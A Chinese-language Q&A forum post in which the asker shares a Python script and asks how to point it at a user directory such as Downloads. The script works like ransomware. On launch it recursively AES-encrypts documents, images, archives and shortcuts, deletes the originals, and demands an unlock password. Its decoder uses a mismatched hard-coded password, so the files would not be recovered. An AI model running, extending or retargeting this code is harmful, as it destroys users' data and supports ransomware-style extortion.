用Python加密/解密文件

2024-10-05 10:18:37 发布

您现在位置:Python中文网/ 问答频道 /正文

如何加密和解密指定目录中的文件

我有一个代码,但它只在本地文件。我的意思是它只是项目目录中的dcrypts文件。我需要添加一些指定的目录,如“C:\Users\user\Downloads”来加密和解密

我的代码:

import os
import sys 
import time
import getopt
import ctypes
import base64
import logging
from pathlib import Path
import concurrent.futures
from Cryptodome.Cipher import AES
from Cryptodome.Hash import SHA256

BLOCK_SIZE = 16
BLOCK_MULTIPLIER = 100

global ALPHABET
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.1234567890"

maxWorker = 10

def menu():
    
    os.system('cmd /c "cls"')

    Encoder()
    print('Your Files Encrypted.')
    print()
    decoder_password = input('Password to unlock items: ')

    if decoder_password == '123':

        Decoder()
        print('\033[1;32;40mYour files decrypted successfuly.\033[0;37;40m')
        time.sleep(10)

def generateKey(length, key):
    retKey = str()
    for i in range(length):
        retKey += key[i % len(key)]
    return retKey

def vencrypt(msg, key):
    key = generateKey(len(msg), key)
    ciphertext = "E"
    for index, char in enumerate(msg):
        ciphertext += ALPHABET[(ALPHABET.find(key[index]) + ALPHABET.find(char)) % len(ALPHABET)]
    return ciphertext

def vdecrypt(ciphertext, key):
    key = generateKey(len(ciphertext), key)
    msg = str()
    ciphertext = ciphertext[1:]
    for index, char in enumerate(ciphertext):
        msg += ALPHABET[(ALPHABET.find(char) - ALPHABET.find(key[index])) % len(ALPHABET)]
    return msg

def encryptFile(filePath, password):
    try:
        #logging.info("Started encoding: " + filePath.resolve().as_posix())
        hashObj = SHA256.new(password.encode('utf-8'))
        hkey = hashObj.digest()
        encryptPath = Path(filePath.parent.resolve().as_posix() + "/" + vencrypt(filePath.name, password) + ".enc")
        if encryptPath.exists():
            encryptPath.unlink()
        with open(filePath, "rb") as input_file, encryptPath.open("ab") as output_file:
            content = b''
            content = input_file.read(BLOCK_SIZE*BLOCK_MULTIPLIER)

            while content != b'':
                output_file.write(encrypt(hkey, content))
                content = input_file.read(BLOCK_SIZE*BLOCK_MULTIPLIER)

            #logging.info("Encoded " + filePath.resolve().as_posix())
            #logging.info("To " +encryptPath.resolve().as_posix())
    except Exception as e:
        print(e)

def decryptFile(filePath, password):
    #logging.info("Started decoding: " + filePath.resolve().as_posix())
    try:
        hashObj = SHA256.new(password.encode('utf-8'))
        hkey = hashObj.digest()
        decryptFilePath = Path(filePath.parent.resolve().as_posix() + "/" + vdecrypt(filePath.name, password)[:-4])
        if decryptFilePath.exists():
            decryptFilePath.unlink()
        with filePath.open("rb") as input_file, decryptFilePath.open("ab") as output_file:
            values = input_file.read(BLOCK_SIZE*BLOCK_MULTIPLIER)
            while values != b'':
                output_file.write(decrypt(hkey, values))
                values = input_file.read(BLOCK_SIZE*BLOCK_MULTIPLIER)

        #logging.info("Decoded: " + filePath.resolve().as_posix()[:-4])
        #logging.info("TO: " + decryptFilePath.resolve().as_posix() )

    except Exception as e:
        print(e)

def pad(msg, BLOCK_SIZE, PAD):
    return msg + PAD * ((BLOCK_SIZE - len(msg) % BLOCK_SIZE) % BLOCK_SIZE)

def encrypt(key, msg):
    PAD = b'\0'
    cipher = AES.new(key, AES.MODE_ECB)
    result = cipher.encrypt(pad(msg, BLOCK_SIZE, PAD))
    return result

def decrypt(key, msg):
    PAD = b'\0'
    decipher = AES.new(key, AES.MODE_ECB)
    pt = decipher.decrypt(msg)
    for i in range(len(pt)-1, -1, -1):
        if pt[i] == PAD:
            pt = pt[:i]
        else:
            break
    return pt

def getMaxLen(arr):
    maxLen = 0
    for elem in arr:
        if len(elem) > maxLen:
            maxLen = len(elem)
    return maxLen

def getTargetFiles(fileExtension):
    fileExtensions = []
    if len(fileExtension) == 0:
        fileExtensions.append("*")
    else:
        for Extension in fileExtension:
            fileExtensionFormatted = "*."
            for char in Extension:
                fileExtensionFormatted += "[" + char + "]"
            fileExtensions.append(fileExtensionFormatted)

    return fileExtensions

def generateEncryptThreads(fileExtensions, password, removeFiles):
    fileExtensionFormatted = getTargetFiles(fileExtensions)
    filePaths = []
    for fileExtension in fileExtensionFormatted:
        filePaths = filePaths + list(Path(".").rglob(fileExtension))

    with concurrent.futures.ThreadPoolExecutor(max_workers=maxWorker) as executor:
        for filePath in filePaths:
            executor.submit(encryptFile, *(filePath, password))
    if removeFiles:
        for filePath in filePaths:
            filePath.unlink()

def generateDecryptThreads(password, removeFiles):
    filePaths = list(Path(".").rglob("*.[eE][nN][cC]"))
    with concurrent.futures.ThreadPoolExecutor(max_workers=maxWorker) as executor:
        for filePath in filePaths:
            executor.submit(decryptFile, *(filePath, password))
    if removeFiles:
        for filePath in filePaths:
            filePath.unlink()

def Encoder():  

    format = "%(asctime)s: %(message)s"
    logging.basicConfig(format=format, level=logging.INFO,
                        datefmt="%H:%M:%S")
    if len(sys.argv[1:]) < 1:

        mode = int('1')
        password = str()

        if mode == 1:
            password = '123'

        if mode == 1:
            fileExtensions = 'txt', 'png', 'jpg', 'rar', 'zip', 'bat', 'docx', 'csv', 'lnk', 'xlsx', 'rtf'#.split()
            removeFiles = 'Y'
            if removeFiles[0].upper() == 'Y':
                removeFiles = True
            else:
                removeFiles = False
            generateEncryptThreads(fileExtensions, password, removeFiles)

def Decoder():

    format = "%(asctime)s: %(message)s"
    logging.basicConfig(format=format, level=logging.INFO,
                        datefmt="%H:%M:%S")
    if len(sys.argv[1:]) < 1:

        mode = int('2')
        password = str()

        if mode == 2:
            password = 'password'

        if mode == 2:
            removeFiles = 'Y'
            if removeFiles[0].upper() == 'Y':
                removeFiles = True
            else:
                removeFiles = False
            generateDecryptThreads(password, removeFiles)

menu()

一些关于它的图片:

enter image description here

enter image description here

如何分配一些目录


Tags: keyinimportforsizeleniflogging

热门问题